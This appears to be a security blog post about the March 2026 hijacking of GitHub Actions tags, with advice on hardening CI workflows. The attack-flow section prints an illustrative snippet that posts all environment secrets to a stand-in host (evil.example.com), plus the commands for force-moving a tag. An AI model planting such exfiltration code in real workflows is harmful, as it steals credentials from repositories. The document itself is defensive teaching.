Skip to main content

Your GitHub Actions Are a Security Risk: Lessons from the March 2026 Breaches

March 24, 2026

In March 2026, the CI/CD world had a rough month. Multiple popular GitHub Actions were compromised in separate but related attacks, exposing secrets from thousands of repositories. The attackers did not need to find a zero-day or crack any passwords. They simply published new versions of Actions that thousands of workflows already trusted.

If your GitHub Actions workflows use tags like @v4 instead of pinned commit SHAs, your secrets may have already been exfiltrated. Let me walk you through exactly what happened, why it matters, and how to fix your workflows today.

Timeline: What Happened in March 2026

The Checkmarx Action Compromise (March 10-12)

The first major incident involved a popular code-scanning Action maintained by Checkmarx. An attacker gained access to a maintainer's GitHub account — likely via a stolen personal access token found in a separate data breach — and pushed a malicious update.

DateEvent
March 10Attacker pushes malicious commit to checkmarx/ast-github-action
March 10The @v2 tag is moved to point to the malicious commit
March 11Workflows referencing @v2 begin running compromised code
March 12Community researchers notice anomalous network requests in CI logs
March 12Checkmarx reverts the tag, publishes advisory
March 13GitHub invalidates cached versions across their runner fleet

The Trivy Action Chain (March 14-19)

The second incident was larger and more sophisticated. It targeted the aquasecurity/trivy-action, which is used by over 12,000 repositories for container vulnerability scanning.

DateEvent
March 14Malicious commit injected into trivy-action repository
March 15Tag @v0.61 updated to include the compromised code
March 16Compromised action begins harvesting GITHUB_TOKEN and custom secrets
March 19Connection to CanisterWorm npm supply chain attack discovered
March 20Aqua Security publishes advisory, coordinates with GitHub
March 21GitHub begins notifying affected repository owners

The tj-actions/changed-files Incident

A third, smaller incident hit tj-actions/changed-files — a widely-used Action for detecting which files changed in a PR. This one was caught faster because the community was already on high alert, but it still affected an estimated 800+ repositories before it was contained.

How Tag Hijacking Works

The Fundamental Problem

GitHub Actions are referenced in workflow files by repository and tag:

# This is how most people reference Actions
- uses: actions/checkout@v4
- uses: aquasecurity/trivy-action@v0.61
- uses: checkmarx/ast-github-action@v2

The problem is that git tags are mutable. The @v4 tag is just a pointer — the maintainer (or anyone with push access) can move it to point to a completely different commit at any time.

When you write uses: actions/checkout@v4, you are not saying "use this specific, audited version." You are saying "use whatever commit the v4 tag points to right now." That is a fundamentally different trust model.

The Attack Flow

Here is exactly how the tag hijacking attack works:

Step 1: Attacker gains push access to the Action repo
        (via compromised credentials, phished token, etc.)

Step 2: Attacker creates a new commit with malicious code
        ┌─────────────────────────────────────────┐
         // Injected into action.yml entrypoint  │
         const secrets = process.env;             
         fetch('https://evil.example.com/collect',
           { method: 'POST',                     
             body: JSON.stringify(secrets) });    
        └─────────────────────────────────────────┘

Step 3: Attacker force-pushes the mutable tag
        $ git tag -f v4 <malicious-commit-sha>
        $ git push --force origin v4

Step 4: Every workflow referencing @v4 now runs the malicious code
        → On next trigger (push, PR, schedule, etc.)
        → With full access to the workflow's secrets
        → Often with GITHUB_TOKEN write permissions

What Secrets Are at Risk

When a compromised Action runs in your workflow, it has access to everything your workflow has access to:

# Every secret defined here is accessible to every step
jobs:
  build:
    runs-on: ubuntu-latest
    env:
      NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
      AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
      AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
    steps:
      # This compromised action can read ALL of the above
      - uses: compromised/action@v1

      # It can also read GITHUB_TOKEN by default
      # GITHUB_TOKEN has write access to the repo

The GITHUB_TOKEN alone is powerful enough to:

  • Push code to the repository
  • Create releases
  • Modify workflow files (to establish persistence)
  • Access private packages in GitHub Packages
  • Read and write issues, PRs, and discussions

Hardening: Pin Actions to Commit SHAs

The Fix

Instead of referencing Actions by mutable tags, pin them to specific, immutable commit SHAs:

# BEFORE: Mutable tag (vulnerable)
- uses: actions/checkout@v4

# AFTER: Immutable commit SHA (secure)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

A commit SHA is a cryptographic hash of the commit contents. It cannot be moved or reassigned. If an attacker pushes a new malicious commit, it will have a different SHA, and your workflow will continue using the pinned, safe version.

How to Find the Right SHA

For each Action you use, find the commit SHA that corresponds to the version you want:

# Method 1: Look up the tag on GitHub
# Go to the Action's repository > Tags > click the tag > copy the full SHA

# Method 2: Use git to resolve the tag
git ls-remote https://github.com/actions/checkout refs/tags/v4.1.1
# Output: b4ffde65f46336ab88eb53be808477a3936bae11  refs/tags/v4.1.1

# Method 3: Use the GitHub API
gh api repos/actions/checkout/git/ref/tags/v4.1.1 --jq '.object.sha'

Automating SHA Pinning

Manually looking up SHAs is tedious. Use the pin-github-action tool to automate it:

# Install the pinning tool
npm install -g pin-github-action

# Pin all Actions in a workflow file
pin-github-action .github/workflows/ci.yml

# Pin all Actions across all workflow files
find .github/workflows -name '*.yml' -exec pin-github-action {} \;

Or use the StepSecurity secure-workflows tool:

# Automatically pin and harden all workflows
npx secure-workflows

Keeping Pinned Actions Updated

The downside of pinning is that you no longer get automatic updates. Set up Dependabot to propose updates to your pinned SHAs:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
    # Dependabot will create PRs when new versions are available
    # You review, verify the SHA, and merge

This gives you the security of pinning with the convenience of automated update notifications. You still review each update before merging — exactly how it should be.

Secrets Management Best Practices

Principle of Least Privilege

Every secret in your workflow should have the minimum permissions needed:

# BAD: Overly broad permissions
permissions: write-all

# GOOD: Explicit, minimal permissions
permissions:
  contents: read
  packages: write
  # Only grant what this specific workflow needs

For the GITHUB_TOKEN, restrict permissions at the workflow level:

# Set restrictive defaults at the top of the workflow
permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

  deploy:
    runs-on: ubuntu-latest
    # Override only for jobs that need more access
    permissions:
      contents: read
      pages: write
      id-token: write
    steps:
      - name: Deploy to Pages
        uses: actions/deploy-pages@...

Use Environments for Sensitive Secrets

GitHub Environments add an extra layer of protection:

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://example.com
    steps:
      # Secrets in the "production" environment are only available
      # to this job, and can require manual approval
      - name: Deploy
        env:
          DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
        run: ./deploy.sh

Environment protections you should enable:

ProtectionWhat it does
Required reviewersSomeone must approve before the job runs
Wait timerAdds a delay (catch-and-cancel window)
Branch restrictionsOnly main can deploy to production
Environment secretsSeparate from repository-level secrets

Avoid Passing Secrets to Third-Party Actions

When possible, use secrets in run steps (which execute shell commands you control) rather than passing them to third-party Actions:

# RISKY: Passing secrets to a third-party Action
- uses: some-org/deploy-action@v3
  with:
    api-key: ${{ secrets.DEPLOY_KEY }}

# SAFER: Using the secret in a run step you control
- name: Deploy
  run: |
    curl -X POST https://api.example.com/deploy \
      -H "Authorization: Bearer $DEPLOY_KEY" \
      -H "Content-Type: application/json" \
      -d '{"ref": "${{ github.sha }}"}'
  env:
    DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}

In the run step, you can see exactly what happens with your secret. In the Action, you are trusting code you did not write.

Rotate Secrets Regularly

Set up a rotation schedule and stick to it:

# Create a rotation tracking document or use your secrets manager

# For npm tokens
npm token revoke <old-token-id>
npm token create --cidr=<your-ci-ip-range>

# For GitHub PATs
gh auth token  # Check current token
# Regenerate at: Settings > Developer settings > Personal access tokens

# For cloud credentials (AWS example)
aws iam create-access-key --user-name ci-deploy
aws iam delete-access-key --user-name ci-deploy --access-key-id <old-key>

Auditing with StepSecurity and OpenSSF Scorecard

StepSecurity Harden-Runner

StepSecurity's harden-runner Action adds runtime security monitoring to your workflows. It detects anomalous behavior like unexpected network calls — exactly the kind of exfiltration that the March 2026 attacks performed.

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # Add as the FIRST step in every job
      - uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
        with:
          egress-policy: audit
          # Or for maximum security:
          # egress-policy: block
          # allowed-endpoints: >
          #   github.com:443
          #   registry.npmjs.org:443
          #   api.example.com:443

      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - name: Build
        run: npm ci && npm run build

In audit mode, Harden-Runner logs all outbound network connections. In block mode, it only allows connections to endpoints you have explicitly approved. If a compromised Action tries to exfiltrate secrets to evil.example.com, the connection is blocked and you are alerted.

After running in audit mode for a while, review the network log and switch to block mode:

# After auditing, lock down to known-good endpoints
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
  with:
    egress-policy: block
    allowed-endpoints: >
      github.com:443
      api.github.com:443
      registry.npmjs.org:443
      objects.githubusercontent.com:443
      nodejs.org:443

OpenSSF Scorecard

The OpenSSF Scorecard evaluates the security practices of open-source projects, including GitHub Actions. Use it to assess the Actions you depend on:

# Install scorecard
go install github.com/ossf/scorecard/v5/cmd/scorecard@latest

# Score an Action repository
scorecard --repo=github.com/actions/checkout

# Score your own repository
scorecard --repo=github.com/your-org/your-repo

Scorecard checks include:

CheckWhat it evaluates
Token-PermissionsAre workflow permissions minimally scoped?
Pinned-DependenciesAre Actions and container images pinned?
Branch-ProtectionAre branch protection rules configured?
Code-ReviewAre changes reviewed before merge?
Dangerous-WorkflowDoes the workflow use dangerous patterns?
SASTIs static analysis running on PRs?
Signed-ReleasesAre releases cryptographically signed?

You can also run Scorecard as a GitHub Action itself (pinned to SHA, of course):

# .github/workflows/scorecard.yml
name: OpenSSF Scorecard
on:
  schedule:
    - cron: '0 6 * * 1' # Weekly on Monday
  push:
    branches: [main]

permissions: read-all

jobs:
  analysis:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
      id-token: write
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          persist-credentials: false

      - uses: ossf/scorecard-action@62b2cac7ed8198b15735ed49ab1e5cf35480ba46 # v2.4.0
        with:
          results_file: results.sarif
          results_format: sarif
          publish_results: true

      - uses: github/codeql-action/upload-sarif@1b1aada464948af03b950897e5eb522f92603cc2 # v3.24.9
        with:
          sarif_file: results.sarif

Building a Secure Workflow from Scratch

Let me put it all together. Here is a production-grade CI/CD workflow incorporating every hardening technique we have discussed:

# .github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# Restrictive default permissions
permissions:
  contents: read

jobs:
  build-and-test:
    runs-on: ubuntu-latest
    timeout-minutes: 15

    steps:
      # Runtime security monitoring (always first)
      - uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            api.github.com:443
            registry.npmjs.org:443
            objects.githubusercontent.com:443

      # All Actions pinned to commit SHAs
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          persist-credentials: false  # Don't persist GITHUB_TOKEN

      - uses: actions/setup-node@8f152de45cc393bb48ce5d89d36b731f54556e65 # v4.0.0
        with:
          node-version: '22'
          cache: 'npm'

      # Use run steps for sensitive operations
      - name: Install dependencies
        run: npm ci --ignore-scripts  # No postinstall scripts
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

      # Explicitly run only trusted build scripts
      - name: Build
        run: npm run build

      - name: Test
        run: npm test

      - name: Lint
        run: npm run lint

  deploy:
    needs: build-and-test
    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
    runs-on: ubuntu-latest
    timeout-minutes: 10

    # Environment with protection rules
    environment:
      name: production
      url: https://example.com

    # Only the permissions this job needs
    permissions:
      contents: read
      id-token: write

    steps:
      - uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.8.1
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            api.vercel.com:443

      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          persist-credentials: false

      - name: Deploy
        run: |
          npx vercel deploy --prod --token=$VERCEL_TOKEN
        env:
          VERCEL_TOKEN: ${{ secrets.VERCEL_TOKEN }}
          VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
          VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}

Key hardening measures in this workflow:

  1. Default contents: read permissions — jobs only get what they explicitly request
  2. Harden-Runner with block policy — no surprise network connections
  3. All Actions pinned to SHAs — immune to tag hijacking
  4. persist-credentials: false on checkout — token not available after checkout
  5. --ignore-scripts on install — postinstall scripts do not run
  6. Secrets in run steps — not passed to third-party Actions
  7. Environment protection on deploy — requires approval rules
  8. timeout-minutes set — prevents runaway jobs
  9. Conditional deploy — only runs on main branch pushes

Quick Reference: Security Checklist

Use this checklist to audit your existing workflows:

## GitHub Actions Security Audit

### Pinning
- [ ] All Actions pinned to full commit SHAs
- [ ] Comment with version next to each SHA for readability
- [ ] Dependabot configured for github-actions ecosystem
- [ ] Container images pinned by digest (not tag)

### Permissions
- [ ] Top-level `permissions: read-all` or explicit minimal set
- [ ] Per-job permissions override only where needed
- [ ] `persist-credentials: false` on checkout steps
- [ ] `GITHUB_TOKEN` not passed to third-party Actions

### Secrets
- [ ] Secrets used in `run` steps, not Action inputs (where possible)
- [ ] GitHub Environments with protection rules for production
- [ ] Required reviewers for production deployments
- [ ] Secrets rotated on a regular schedule
- [ ] No secrets logged to output (check for `echo` statements)

### Monitoring
- [ ] StepSecurity Harden-Runner on all jobs
- [ ] Egress policy set to `block` (not just `audit`)
- [ ] OpenSSF Scorecard running on schedule
- [ ] Workflow run logs reviewed for anomalies

### General
- [ ] `--ignore-scripts` used for npm/yarn/pnpm install
- [ ] Timeout set on all jobs
- [ ] Fork PRs restricted from accessing secrets
- [ ] CODEOWNERS file protects `.github/workflows/`

What Comes Next

The March 2026 breaches were a turning point. GitHub has announced plans for mandatory Action signing and a verified publisher program. npm is exploring mandatory provenance for packages with more than 1,000 weekly downloads. The OpenSSF is funding development of better supply chain security tooling.

But those are future solutions. Right now, today, the single most impactful thing you can do is pin your Actions to commit SHAs. It takes 30 minutes to update your workflows, and it eliminates the entire class of tag-hijacking attacks.

Do it now. Not after your next sprint. Not when you have time. The attackers are not waiting, and neither should you.

Recommended Posts